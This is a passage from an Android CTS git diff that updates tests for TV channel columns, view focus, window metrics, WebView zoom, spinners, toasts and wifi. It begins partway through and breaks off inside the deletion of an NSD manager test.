 
+    public void sendCloseDialog(String callId) {
+        assertNotNull("SipDelegate was null when closing dialog", connection);
+        connection.closeDialog(callId);
+    }
+
     public void sendMessageAndVerifyCompletedSuccessfully(SipMessage messageToSend)
             throws Exception {
         assertNotNull("SipDelegate was null when sending message", connection);
diff --git a/tests/tests/transition/src/android/transition/cts/PropagationTest.java b/tests/tests/transition/src/android/transition/cts/PropagationTest.java
index 783594c..0d46c74 100644
--- a/tests/tests/transition/src/android/transition/cts/PropagationTest.java
+++ b/tests/tests/transition/src/android/transition/cts/PropagationTest.java
@@ -65,13 +65,18 @@
         mTransition.setEpicenterCallback(new Transition.EpicenterCallback() {
             @Override
             public Rect onGetEpicenter(Transition transition) {
-                return new Rect(0, 0, redValues.view.getWidth(), redValues.view.getHeight());
+                final int[] offset = new int[2];
+                redValues.view.getLocationOnScreen(offset);
+
+                return new Rect(
+                    offset[0], offset[1],
+                    offset[0] + redValues.view.getWidth(), offset[1] + redValues.view.getHeight());
             }
         });
 
         long redDelay = getDelay(R.id.redSquare);
-        // red square's delay should be roughly 0 since it is at the epicenter
-        assertEquals(0f, redDelay, 30f);
+        // red square's delay should be 0 since it is at the epicenter
+        assertEquals(0, redDelay);
 
         // The green square is on the upper-right
         long greenDelay = getDelay(R.id.greenSquare);
diff --git a/tests/tests/tv/src/android/media/tv/cts/TvContractTest.java b/tests/tests/tv/src/android/media/tv/cts/TvContractTest.java
index 6314ec5..055b75d 100644
--- a/tests/tests/tv/src/android/media/tv/cts/TvContractTest.java
+++ b/tests/tests/tv/src/android/media/tv/cts/TvContractTest.java
@@ -62,6 +62,11 @@
         Channels.COLUMN_INTERNAL_PROVIDER_DATA,
         Channels.COLUMN_VERSION_NUMBER,
         Channels.COLUMN_INTERNAL_PROVIDER_ID,
+        Channels.COLUMN_REMOTE_CONTROL_KEY_PRESET_NUMBER,
+        Channels.COLUMN_SCRAMBLED,
+        Channels.COLUMN_VIDEO_RESOLUTION,
+        Channels.COLUMN_CHANNEL_LIST_ID,
+        Channels.COLUMN_BROADCAST_GENRE,
     };
 
     private static final String[] PROGRAMS_PROJECTION = {
@@ -331,6 +336,11 @@
             verifyStringColumn(cursor, expectedValues, Channels.COLUMN_INTERNAL_PROVIDER_ID);
             verifyBlobColumn(cursor, expectedValues, Channels.COLUMN_INTERNAL_PROVIDER_DATA);
             verifyIntegerColumn(cursor, expectedValues, Channels.COLUMN_VERSION_NUMBER);
+            verifyIntegerColumn(cursor, expectedValues, Channels.COLUMN_REMOTE_CONTROL_KEY_PRESET_NUMBER);
+            verifyIntegerColumn(cursor, expectedValues, Channels.COLUMN_SCRAMBLED);
+            verifyStringColumn(cursor, expectedValues, Channels.COLUMN_VIDEO_RESOLUTION);
+            verifyStringColumn(cursor, expectedValues, Channels.COLUMN_CHANNEL_LIST_ID);
+            verifyStringColumn(cursor, expectedValues, Channels.COLUMN_BROADCAST_GENRE);
         }
     }
 
@@ -560,6 +570,132 @@
         }
     }
 
+    public void testChannelsTableForRemoteControlKeyPresetNumber() throws Exception {
+        if (!Utils.hasTvInputFramework(getContext())) {
+            return;
+        }
+        // Test: insert
+        ContentValues values = createDummyChannelValues(mInputId, true);
+        values.put(Channels.COLUMN_REMOTE_CONTROL_KEY_PRESET_NUMBER, 100);
+        Uri channelUri = mContentResolver.insert(mChannelsUri, values);
+        long channelId = ContentUris.parseId(channelUri);
+        verifyChannel(channelUri, values, channelId);
+
+        // Test: update
+        values = null;
+        values = createDummyChannelValues(mInputId, true);
+        values.put(Channels.COLUMN_REMOTE_CONTROL_KEY_PRESET_NUMBER, 200);
+        int result = mContentResolver.update(channelUri, values, null, null);
+        assertEquals(1, result);
+        verifyChannel(channelUri, values, channelId);
+    }
+
+    public void testChannelsTableForScrambled() throws Exception {
+        if (!Utils.hasTvInputFramework(getContext())) {
+            return;
+        }
+        // Test: insert
+        ContentValues values = createDummyChannelValues(mInputId, true);
+        values.put(Channels.COLUMN_SCRAMBLED, 0);
+        Uri channelUri = mContentResolver.insert(mChannelsUri, values);
+        long channelId = ContentUris.parseId(channelUri);
+        verifyChannel(channelUri, values, channelId);
+
+        // Test: update
+        values = null;
+        values = createDummyChannelValues(mInputId, true);
+        values.put(Channels.COLUMN_SCRAMBLED, 1);
+        int result = mContentResolver.update(channelUri, values, null, null);
+        assertEquals(1, result);
+        verifyChannel(channelUri, values, channelId);
+    }
+
+    public void testChannelsTableForVideoResolution() throws Exception {
+        if (!Utils.hasTvInputFramework(getContext())) {
+            return;
+        }
+        // Test: insert
+        ContentValues values = createDummyChannelValues(mInputId, true);
+        values.put(Channels.COLUMN_VIDEO_RESOLUTION, Channels.VIDEO_RESOLUTION_SD);
+        Uri channelUri = mContentResolver.insert(mChannelsUri, values);
+        long channelId = ContentUris.parseId(channelUri);
+        verifyChannel(channelUri, values, channelId);
+
+        // Test: update
+        values = null;
+        values = createDummyChannelValues(mInputId, true);
+        values.put(Channels.COLUMN_VIDEO_RESOLUTION, Channels.VIDEO_RESOLUTION_HD);
+        int result = mContentResolver.update(channelUri, values, null, null);
+        assertEquals(1, result);
+        verifyChannel(channelUri, values, channelId);
+    }
+
+    public void testChannelsTableForChannelListId() throws Exception {
+        if (!Utils.hasTvInputFramework(getContext())) {
+            return;
+        }
+        // Test: insert
+        ContentValues values = createDummyChannelValues(mInputId, true);
+        values.put(Channels.COLUMN_CHANNEL_LIST_ID, "Operator-0");
+        Uri channelUri = mContentResolver.insert(mChannelsUri, values);
+        long channelId = ContentUris.parseId(channelUri);
+        verifyChannel(channelUri, values, channelId);
+
+        // Test: update
+        values = null;
+        values = createDummyChannelValues(mInputId, true);
+        values.put(Channels.COLUMN_CHANNEL_LIST_ID, "Operator-1");
+        int result = mContentResolver.update(channelUri, values, null, null);
+        assertEquals(1, result);
+        verifyChannel(channelUri, values, channelId);
+    }
+
+    public void testChannelsForBroadcastGenre() {
+        if (!Utils.hasTvInputFramework(getContext())) {
+            return;
+        }
+        String[] broadcastGenre = new String[] {"Animation", "Classic, opera"};
+
+        // Test: insert
+        ContentValues values = createDummyChannelValues(mInputId, true);
+        values.put(Channels.COLUMN_BROADCAST_GENRE, Genres.encode(broadcastGenre));
+        Uri channelUri = mContentResolver.insert(mChannelsUri, values);
+        long channelId = ContentUris.parseId(channelUri);
+        verifyChannel(channelUri, values, channelId);
+
+        // Test: update
+        String[] newBroadcastGenre = new String[] {"Sports"};
+        values = null;
+        values = createDummyChannelValues(mInputId, true);
+        values.put(Channels.COLUMN_BROADCAST_GENRE, Genres.encode(newBroadcastGenre));
+        int result = mContentResolver.update(channelUri, values, null, null);
+        assertEquals(1, result);
+        verifyChannel(channelUri, values, channelId);
+    }
+
+     public void testChannelsBroadcastGenreEncodeDecode() {
+        if (!Utils.hasTvInputFramework(getContext())) {
+            return;
+        }
+        String[] broadcastGenre = new String[] {"Animation", "Classic, opera"};
+
+        // Test: insert / Encode
+        ContentValues values = createDummyChannelValues(mInputId, true);
+        values.put(Channels.COLUMN_BROADCAST_GENRE, Genres.encode(broadcastGenre));
+        Uri channelUri = mContentResolver.insert(mChannelsUri, values);
+        long channelId = ContentUris.parseId(channelUri);
+        verifyChannel(channelUri, values, channelId);
+
+        // Test: Decode
+        try (Cursor c = mContentResolver.query(Channels.CONTENT_URI,
+                new String[] {Channels.COLUMN_BROADCAST_GENRE}, null, null, null)) {
+            assertNotNull(c);
+            assertEquals(1, c.getCount());
+            c.moveToNext();
+            MoreAsserts.assertEquals(broadcastGenre, Genres.decode(c.getString(0)));
+        }
+    }
+
     private void verifyProgram(Uri programUri, ContentValues expectedValues, long programId) {
         try (Cursor cursor = mContentResolver.query(
                 programUri, null, null, null, null)) {
diff --git a/tests/tests/view/res/layout/focus_finder_layout.xml b/tests/tests/view/res/layout/focus_finder_layout.xml
index 4e2726c..1dea684 100644
--- a/tests/tests/view/res/layout/focus_finder_layout.xml
+++ b/tests/tests/view/res/layout/focus_finder_layout.xml
@@ -46,11 +46,7 @@
             android:layout_width="wrap_content"
             android:layout_height="wrap_content"
             android:layout_below="@id/layout">
-        <android.view.cts.TestButton
-            android:id="@+id/bottom_button"
-            android:layout_width="60dp"
-            android:layout_height="match_parent"
-            android:text="B" />
+
     </LinearLayout>
 </RelativeLayout>
 
diff --git a/tests/tests/view/src/android/view/cts/FocusFinderCtsActivity.java b/tests/tests/view/src/android/view/cts/FocusFinderCtsActivity.java
index 300d3a5..ae0b4bf 100644
--- a/tests/tests/view/src/android/view/cts/FocusFinderCtsActivity.java
+++ b/tests/tests/view/src/android/view/cts/FocusFinderCtsActivity.java
@@ -25,8 +25,6 @@
 
     public ViewGroup layout;
 
-    public ViewGroup inflateLayout;
-
     public Button topLeftButton;
 
     public Button topRightButton;
@@ -35,19 +33,15 @@
 
     public Button bottomRightButton;
 
-    public Button bottomButton;
-
     @Override
     protected void onCreate(Bundle icicle) {
         super.onCreate(icicle);
         setContentView(R.layout.focus_finder_layout);
         layout = (ViewGroup) findViewById(R.id.layout);
-        inflateLayout = (ViewGroup) findViewById(R.id.inflate_layout);
         topLeftButton = (Button) findViewById(R.id.top_left_button);
         topRightButton = (Button) findViewById(R.id.top_right_button);
         bottomLeftButton = (Button) findViewById(R.id.bottom_left_button);
         bottomRightButton = (Button) findViewById(R.id.bottom_right_button);
-        bottomButton = (Button) findViewById(R.id.bottom_button);
     }
 }
 
diff --git a/tests/tests/view/src/android/view/cts/FocusFinderTest.java b/tests/tests/view/src/android/view/cts/FocusFinderTest.java
index 53992ce..11e921a 100644
--- a/tests/tests/view/src/android/view/cts/FocusFinderTest.java
+++ b/tests/tests/view/src/android/view/cts/FocusFinderTest.java
@@ -18,7 +18,6 @@
 
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertSame;
 import static org.junit.Assert.assertTrue;
 
@@ -45,12 +44,10 @@
 public class FocusFinderTest {
     private FocusFinder mFocusFinder;
     private ViewGroup mLayout;
-    private ViewGroup mInflateLayout;
     private Button mTopLeft;
     private Button mTopRight;
     private Button mBottomLeft;
     private Button mBottomRight;
-    private Button mBottom;
 
     @Rule
     public ActivityTestRule<FocusFinderCtsActivity> mActivityRule =
@@ -62,17 +59,14 @@
 
         mFocusFinder = FocusFinder.getInstance();
         mLayout = activity.layout;
-        mInflateLayout = activity.inflateLayout;
         mTopLeft = activity.topLeftButton;
         mTopRight = activity.topRightButton;
         mBottomLeft = activity.bottomLeftButton;
         mBottomRight = activity.bottomRightButton;
-        mBottom = activity.bottomButton;
         mTopLeft.setNextFocusLeftId(View.NO_ID);
         mTopRight.setNextFocusLeftId(View.NO_ID);
         mBottomLeft.setNextFocusLeftId(View.NO_ID);
         mBottomRight.setNextFocusLeftId(View.NO_ID);
-        mBottom.setNextFocusLeftId(View.NO_ID);
     }
 
     @Test
@@ -462,17 +456,4 @@
         view.setRight(right);
         view.setBottom(bottom);
     }
-
-    @Test
-    public void testFindNextFocusDoesNotReturnItself() {
-        View nextFocus = mFocusFinder.findNextFocus(mInflateLayout, mBottom, View.FOCUS_FORWARD);
-        assertNull(nextFocus);
-    }
-
-    @Test
-    public void testFindPreviousFocusDoesNotReturnItself() {
-        View previousFocus =
-                mFocusFinder.findNextFocus(mInflateLayout, mBottom, View.FOCUS_BACKWARD);
-        assertNull(previousFocus);
-    }
 }
diff --git a/tests/tests/view/src/android/view/cts/ViewTest.java b/tests/tests/view/src/android/view/cts/ViewTest.java
index d0ce0f0..3f9f563 100644
--- a/tests/tests/view/src/android/view/cts/ViewTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewTest.java
@@ -50,6 +50,7 @@
 import android.graphics.Canvas;
 import android.graphics.Color;
 import android.graphics.ColorFilter;
+import android.graphics.Insets;
 import android.graphics.Matrix;
 import android.graphics.Point;
 import android.graphics.PorterDuff;
@@ -58,7 +59,6 @@
 import android.graphics.drawable.ColorDrawable;
 import android.graphics.drawable.Drawable;
 import android.graphics.drawable.StateListDrawable;
-import android.hardware.display.DisplayManager;
 import android.os.Bundle;
 import android.os.Parcelable;
 import android.os.SystemClock;
@@ -90,6 +90,9 @@
 import android.view.ViewGroup;
 import android.view.ViewParent;
 import android.view.ViewTreeObserver;
+import android.view.WindowInsets;
+import android.view.WindowManager;
+import android.view.WindowMetrics;
 import android.view.accessibility.AccessibilityEvent;
 import android.view.animation.AlphaAnimation;
 import android.view.animation.Animation;
@@ -3834,14 +3837,18 @@
         Rect outRect = new Rect();
         View view = new View(mActivity);
         // mAttachInfo is null
-        DisplayManager dm = (DisplayManager) mActivity.getApplicationContext().getSystemService(
-                Context.DISPLAY_SERVICE);
-        Display d = dm.getDisplay(Display.DEFAULT_DISPLAY);
         view.getWindowVisibleDisplayFrame(outRect);
+        final WindowManager windowManager = mActivity.getWindowManager();
+        final WindowMetrics metrics = windowManager.getMaximumWindowMetrics();
+        final Insets insets =
+                metrics.getWindowInsets().getInsets(
+                        WindowInsets.Type.navigationBars() | WindowInsets.Type.displayCutout());
+        final int expectedWidth = metrics.getBounds().width() - insets.left - insets.right;
+        final int expectedHeight = metrics.getBounds().height() - insets.top - insets.bottom;
         assertEquals(0, outRect.left);
         assertEquals(0, outRect.top);
-        assertEquals(d.getWidth(), outRect.right);
-        assertEquals(d.getHeight(), outRect.bottom);
+        assertEquals(expectedWidth, outRect.right);
+        assertEquals(expectedHeight, outRect.bottom);
 
         // mAttachInfo is not null
         outRect = new Rect();
@@ -4882,7 +4889,7 @@
         float[] newValues = new float[9];
         newMatrix.getValues(newValues);
         int[] location = new int[2];
-        view.getLocationInWindow(location);
+        view.getLocationOnScreen(location);
         boolean hasChanged = false;
         for (int i = 0; i < 9; ++i) {
             if (initialValues[i] != newValues[i]) {
@@ -4890,7 +4897,7 @@
             }
         }
         assertTrue("Matrix should be changed", hasChanged);
-        assertEquals("Matrix should reflect position in window",
+        assertEquals("Matrix should reflect position on screen",
                 location[1], newValues[5], 0.001);
     }
 
diff --git a/tests/tests/view/src/android/view/cts/ViewUnbufferedTest.java b/tests/tests/view/src/android/view/cts/ViewUnbufferedTest.java
index 67d5de4..b0ec086 100644
--- a/tests/tests/view/src/android/view/cts/ViewUnbufferedTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewUnbufferedTest.java
@@ -139,27 +139,33 @@
 
     // If resampling happened, the coordinates and event time would resample to new position.
     private static void compareEvent(final MotionEvent sentEvent,
-            final ReceivedEvent receivedEvent) {
+            final ReceivedEvent receivedEvent, final int[] offsets) {
         assertEquals(sentEvent.getAction(), receivedEvent.mAction);
-        assertEquals((int) sentEvent.getX(), receivedEvent.mX, 0);
+        assertEquals((int) sentEvent.getX(), receivedEvent.mX + offsets[0]);
+        assertEquals((int) sentEvent.getY(), receivedEvent.mY + offsets[1]);
         assertEquals(sentEvent.getEventTime(), receivedEvent.mEventTime);
         assertEquals(sentEvent.getSource(), receivedEvent.mSource);
     }
 
     private void compareEvents(final BlockingQueue<MotionEvent> sentEvents,
-            final BlockingQueue<ReceivedEvent> receivedEvents) {
+            final BlockingQueue<ReceivedEvent> receivedEvents, final int[] offsets) {
         assertEquals(sentEvents.size(), receivedEvents.size());
 
         for (int i = 0; i < sentEvents.size(); i++) {
             MotionEvent sentEvent = sentEvents.poll();
             ReceivedEvent receivedEvent = receivedEvents.poll();
-            compareEvent(sentEvent, receivedEvent);
+            compareEvent(sentEvent, receivedEvent, offsets);
         }
     }
 
-    private Point getViewCenterOnScreen(View view) {
+    private int[] getViewLocationOnScreen(View view) {
         final int[] xy = new int[2];
         view.getLocationOnScreen(xy);
+        return xy;
+    }
+
+    private Point getViewCenterOnScreen(View view) {
+        final int[] xy = getViewLocationOnScreen(view);
         final int viewWidth = view.getWidth();
         final int viewHeight = view.getHeight();
 
@@ -276,7 +282,7 @@
                 InputDevice.SOURCE_TOUCHSCREEN);
 
         assertTrue(mMaxReceivedCountPerFrame > 1);
-        compareEvents(mSentEvents, mReceivedEvents);
+        compareEvents(mSentEvents, mReceivedEvents, getViewLocationOnScreen(mView));
     }
 
     // Test view requested touch screen unbuffered from MotionEvent.
@@ -295,7 +301,7 @@
                 InputDevice.SOURCE_TOUCHSCREEN);
 
         assertTrue(mMaxReceivedCountPerFrame > 1);
-        compareEvents(mSentEvents, mReceivedEvents);
+        compareEvents(mSentEvents, mReceivedEvents, getViewLocationOnScreen(mView));
     }
 
     // Test view requested unbuffered source but reset it later.
@@ -330,7 +336,7 @@
         sendJoystickEvents(0, 0);
 
         assertTrue(mMaxReceivedCountPerFrame > 1);
-        compareEvents(mSentEvents, mReceivedEvents);
+        compareEvents(mSentEvents, mReceivedEvents, new int[]{0, 0});
     }
 
     // Test view requested joystick unbuffered but no focus.
@@ -362,7 +368,7 @@
                 InputDevice.SOURCE_TOUCHSCREEN);
 
         assertTrue(mMaxReceivedCountPerFrame > 1);
-        compareEvents(mSentEvents, mReceivedEvents);
+        compareEvents(mSentEvents, mReceivedEvents, getViewLocationOnScreen(mView));
     }
 
     // Test view requested different source unbuffered from the received events.
diff --git a/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/CapturedActivity.java b/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/CapturedActivity.java
index 39a3b92fa..9401370 100644
--- a/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/CapturedActivity.java
+++ b/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/CapturedActivity.java
@@ -256,6 +256,13 @@
             DisplayMetrics metrics = new DisplayMetrics();
             display.getMetrics(metrics);
 
+            final DisplayManager displayManager =
+                    (DisplayManager) CapturedActivity.this.getSystemService(
+                    Context.DISPLAY_SERVICE);
+            final Display defaultDisplay = displayManager.getDisplay(Display.DEFAULT_DISPLAY);
+            final int rotation = defaultDisplay.getRotation();
+            Display.Mode mode = defaultDisplay.getMode();
+
             View testAreaView = findViewById(android.R.id.content);
             Rect boundsToCheck = new Rect(0, 0, testAreaView.getWidth(), testAreaView.getHeight());
             int[] topLeft = new int[2];
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebViewZoomTest.java b/tests/tests/webkit/src/android/webkit/cts/WebViewZoomTest.java
index b426764..1eed020 100644
--- a/tests/tests/webkit/src/android/webkit/cts/WebViewZoomTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebViewZoomTest.java
@@ -328,6 +328,13 @@
             ScaleChangedState state = waitForNextScaleChange();
             assertEquals(currentScale, state.mOldScale);
 
+
+            // Zoom scale changes can come in multiple steps and the initial scale may have
+            // conversion errors. Wait for the first significant scale change.
+            while (Math.abs(state.mNewScale - state.mOldScale) < PAGE_SCALE_EPSILON) {
+                state = waitForNextScaleChange();
+            }
+
             // Check that we zoomed in the expected direction wrt. the current scale.
             if (scaleAmount > 1.0f) {
                 assertThat(
diff --git a/tests/tests/widget/src/android/widget/cts/ListPopupWindowTest.java b/tests/tests/widget/src/android/widget/cts/ListPopupWindowTest.java
index 8bd31e9..148e6a8 100644
--- a/tests/tests/widget/src/android/widget/cts/ListPopupWindowTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ListPopupWindowTest.java
@@ -278,8 +278,9 @@
         } else {
             // On narrow screens, it's possible for the popup to reach the edge
             // of the screen.
-            int rightmostX =
-                    getDisplay().getWidth() - mPopupWindow.getWidth() + listViewInWindowXY[0];
+            final int displayWidth =
+                        mActivity.getWindowManager().getMaximumWindowMetrics().getBounds().width();
+            final int rightmostX = displayWidth - mPopupWindow.getWidth() + listViewInWindowXY[0];
             if (expectedListViewOnScreenX > rightmostX) {
                 expectedListViewOnScreenX = rightmostX;
             }
diff --git a/tests/tests/widget/src/android/widget/cts/SpinnerTest.java b/tests/tests/widget/src/android/widget/cts/SpinnerTest.java
index 3c4192c..c07d6f3 100644
--- a/tests/tests/widget/src/android/widget/cts/SpinnerTest.java
+++ b/tests/tests/widget/src/android/widget/cts/SpinnerTest.java
@@ -67,6 +67,7 @@
     private Activity mActivity;
     private Spinner mSpinnerDialogMode;
     private Spinner mSpinnerDropdownMode;
+    private static final int SPINNER_HAS_FOCUS_DELAY_MS = 500;
 
     @Rule
     public ActivityTestRule<SpinnerCtsActivity> mActivityRule =
@@ -402,7 +403,7 @@
         TestUtils.assertAllPixelsOfColor("Drop down should be blue", dropDownBackground,
                 dropDownBackground.getBounds().width(), dropDownBackground.getBounds().height(),
                 false, Color.BLUE, 1, true);
-
+        waitForHasFocusMS(SPINNER_HAS_FOCUS_DELAY_MS);
         // Dismiss the popup with the emulated back key
         mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_BACK);
         // Verify that we're not showing the popup
@@ -461,4 +462,13 @@
         // And test that getPopupBackground returns null
         assertNull(mSpinnerDialogMode.getPopupBackground());
     }
+
+    private void waitForHasFocusMS(int milliseconds) {
+        try {
+            Thread.sleep(milliseconds);
+        } catch (InterruptedException e) {
+            fail("unexpected InterruptedException : "+ e);
+        }
+
+    }
 }
diff --git a/tests/tests/widget/src/android/widget/cts/ToastTest.java b/tests/tests/widget/src/android/widget/cts/ToastTest.java
index ab81b26..fb1c7ba 100644
--- a/tests/tests/widget/src/android/widget/cts/ToastTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ToastTest.java
@@ -736,7 +736,12 @@
 
         mActivityRule.runOnUiThread(mToast::show);
 
-        assertNotShowCustomToast(view);
+        // The custom toast should not be blocked in multi-window mode. Otherwise, it should be.
+        if (mActivityRule.getActivity().isInMultiWindowMode()) {
+            assertShowCustomToast(view);
+        } else {
+            assertNotShowCustomToast(view);
+        }
         mContext.sendBroadcast(new Intent(ACTION_TRANSLUCENT_ACTIVITY_FINISH));
     }
 
diff --git a/tests/tests/wifi/Android.bp b/tests/tests/wifi/Android.bp
index ed8daba..9ece956 100644
--- a/tests/tests/wifi/Android.bp
+++ b/tests/tests/wifi/Android.bp
@@ -24,13 +24,14 @@
     ],
 
     srcs: [ "src/**/*.java" ],
-
+    jarjar_rules: "jarjar-rules.txt",
     static_libs: [
         "androidx.test.rules",
         "compatibility-device-util-axt",
         "ctstestrunner-axt",
         "junit",
         "junit-params",
+        "net-utils-framework-common",
         "truth-prebuilt",
     ],
 
diff --git a/tests/tests/wifi/jarjar-rules.txt b/tests/tests/wifi/jarjar-rules.txt
new file mode 100644
index 0000000..def4a78
--- /dev/null
+++ b/tests/tests/wifi/jarjar-rules.txt
@@ -0,0 +1,3 @@
+# Module library in frameworks/libs/net
+rule com.android.net.module.util.** android.net.cts.wifi.util.@1
+
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/ConnectedNetworkScorerTest.java b/tests/tests/wifi/src/android/net/wifi/cts/ConnectedNetworkScorerTest.java
index 0adf3b9..8502db1 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/ConnectedNetworkScorerTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/ConnectedNetworkScorerTest.java
@@ -31,6 +31,7 @@
 import android.net.wifi.WifiConfiguration;
 import android.net.wifi.WifiManager;
 import android.net.wifi.WifiUsabilityStatsEntry;
+import android.os.Build;
 import android.platform.test.annotations.AppModeFull;
 import android.support.test.uiautomator.UiDevice;
 import android.telephony.TelephonyManager;
@@ -40,6 +41,7 @@
 import androidx.test.runner.AndroidJUnit4;
 
 import com.android.compatibility.common.util.PollingCheck;
+import com.android.compatibility.common.util.PropertyUtil;
 import com.android.compatibility.common.util.ShellIdentityUtils;
 import com.android.compatibility.common.util.SystemUtil;
 
@@ -158,6 +160,10 @@
      */
     @Test
     public void testWifiUsabilityStatsEntry() throws Exception {
+        // Usability stats collection only supported by vendor version Q and above.
+        if (!PropertyUtil.isVendorApiLevelAtLeast(Build.VERSION_CODES.Q)) {
+            return;
+        }
         CountDownLatch countDownLatch = new CountDownLatch(1);
         UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
         TestUsabilityStatsListener usabilityStatsListener =
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/NsdManagerTest.java b/tests/tests/wifi/src/android/net/wifi/cts/NsdManagerTest.java
deleted file mode 100644
index a65f06f..0000000
--- a/tests/tests/wifi/src/android/net/wifi/cts/NsdManagerTest.java
+++ /dev/null
@@ -1,594 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.net.wifi.cts;
-
-import android.content.Context;
-import android.net.nsd.NsdManager;
-import android.net.nsd.NsdServiceInfo;
-import android.platform.test.annotations.AppModeFull;
-import android.test.AndroidTestCase;
-import android.util.Log;
-
-import java.io.IOException;
-import java.net.ServerSocket;
-import java.util.Arrays;
-import java.util.Random;
-import java.util.List;
-import java.util.ArrayList;
-
-@AppModeFull(reason = "Socket cannot bind in instant app mode")
-public class NsdManagerTest extends WifiJUnit3TestBase {
-
-    private static final String TAG = "NsdManagerTest";
-    private static final String SERVICE_TYPE = "_nmt._tcp";
-    private static final int TIMEOUT = 2000;
-
-    private static final boolean DBG = false;
-
-    NsdManager mNsdManager;
-
-    NsdManager.RegistrationListener mRegistrationListener;
-    NsdManager.DiscoveryListener mDiscoveryListener;
-    NsdManager.ResolveListener mResolveListener;
-    private NsdServiceInfo mResolvedService;
-
-    public NsdManagerTest() {
-        initRegistrationListener();
-        initDiscoveryListener();
-        initResolveListener();
-    }
-
-    private void initRegistrationListener() {
-        mRegistrationListener = new NsdManager.RegistrationListener() {
-            @Override
-            public void onRegistrationFailed(NsdServiceInfo serviceInfo, int errorCode) {
-                setEvent("onRegistrationFailed", errorCode);
-            }
-
-            @Override
-            public void onUnregistrationFailed(NsdServiceInfo serviceInfo, int errorCode) {
-                setEvent("onUnregistrationFailed", errorCode);
-            }
-
-            @Override
-            public void onServiceRegistered(NsdServiceInfo serviceInfo) {
-                setEvent("onServiceRegistered", serviceInfo);
-            }
-
-            @Override
-            public void onServiceUnregistered(NsdServiceInfo serviceInfo) {
-                setEvent("onServiceUnregistered", serviceInfo);
-            }
-        };
-    }
-
-    private void initDiscoveryListener() {
-        mDiscoveryListener = new NsdManager.DiscoveryListener() {
-            @Override
-            public void onStartDiscoveryFailed(String serviceType, int errorCode) {
-                setEvent("onStartDiscoveryFailed", errorCode);
-            }
-
-            @Override
-            public void onStopDiscoveryFailed(String serviceType, int errorCode) {
-                setEvent("onStopDiscoveryFailed", errorCode);
-            }
-
-            @Override
-            public void onDiscoveryStarted(String serviceType) {
-                NsdServiceInfo info = new NsdServiceInfo();
-                info.setServiceType(serviceType);
-                setEvent("onDiscoveryStarted", info);
-            }
-
-            @Override
-            public void onDiscoveryStopped(String serviceType) {
-                NsdServiceInfo info = new NsdServiceInfo();
-                info.setServiceType(serviceType);
-                setEvent("onDiscoveryStopped", info);
-            }
-
-            @Override
-            public void onServiceFound(NsdServiceInfo serviceInfo) {
-                setEvent("onServiceFound", serviceInfo);
-            }
-
-            @Override
-            public void onServiceLost(NsdServiceInfo serviceInfo) {
-                setEvent("onServiceLost", serviceInfo);
-            }
-        };
-    }
-
-    private void initResolveListener() {
-        mResolveListener = new NsdManager.ResolveListener() {
-            @Override
-            public void onResolveFailed(NsdServiceInfo serviceInfo, int errorCode) {
-                setEvent("onResolveFailed", errorCode);
-            }
-
-            @Override
-            public void onServiceResolved(NsdServiceInfo serviceInfo) {
-                mResolvedService = serviceInfo;
-                setEvent("onServiceResolved", serviceInfo);
-            }
-        };
-    }
-
-
-
-    private final class EventData {
-        EventData(String callbackName, NsdServiceInfo info) {
-            mCallbackName = callbackName;
-            mSucceeded = true;
-            mErrorCode = 0;
-            mInfo = info;
-        }
-        EventData(String callbackName, int errorCode) {
-            mCallbackName = callbackName;
-            mSucceeded = false;
-            mErrorCode = errorCode;
-            mInfo = null;
-        }
-        private final String mCallbackName;
-        private final boolean mSucceeded;
-        private final int mErrorCode;
-        private final NsdServiceInfo mInfo;
-    }
-
-    private final List<EventData> mEventCache = new ArrayList<EventData>();
-
-    private void setEvent(String callbackName, int errorCode) {
-        if (DBG) Log.d(TAG, callbackName + " failed with " + String.valueOf(errorCode));
-        EventData eventData = new EventData(callbackName, errorCode);
-        synchronized (mEventCache) {
-            mEventCache.add(eventData);
-            mEventCache.notify();
-        }
-    }
-
-    private void setEvent(String callbackName, NsdServiceInfo info) {
-        if (DBG) Log.d(TAG, "Received event " + callbackName + " for " + info.getServiceName());
-        EventData eventData = new EventData(callbackName, info);
-        synchronized (mEventCache) {
-            mEventCache.add(eventData);
-            mEventCache.notify();
-        }
-    }
-
-    void clearEventCache() {
-        synchronized(mEventCache) {
-            mEventCache.clear();
-        }
-    }
-
-    int eventCacheSize() {
-        synchronized(mEventCache) {
-            return mEventCache.size();
-        }
-    }
-
-    private int mWaitId = 0;
-    private EventData waitForCallback(String callbackName) {
-
-        synchronized(mEventCache) {
-
-            mWaitId ++;
-            if (DBG) Log.d(TAG, "Waiting for " + callbackName + ", id=" + String.valueOf(mWaitId));
-
-            try {
-                long startTime = android.os.SystemClock.uptimeMillis();
-                long elapsedTime = 0;
-                int index = 0;
-                while (elapsedTime < TIMEOUT ) {
-                    // first check if we've received that event
-                    for (; index < mEventCache.size(); index++) {
-                        EventData e = mEventCache.get(index);
-                        if (e.mCallbackName.equals(callbackName)) {
-                            if (DBG) Log.d(TAG, "exiting wait id=" + String.valueOf(mWaitId));
-                            return e;
-                        }
-                    }
-
-                    // Not yet received, just wait
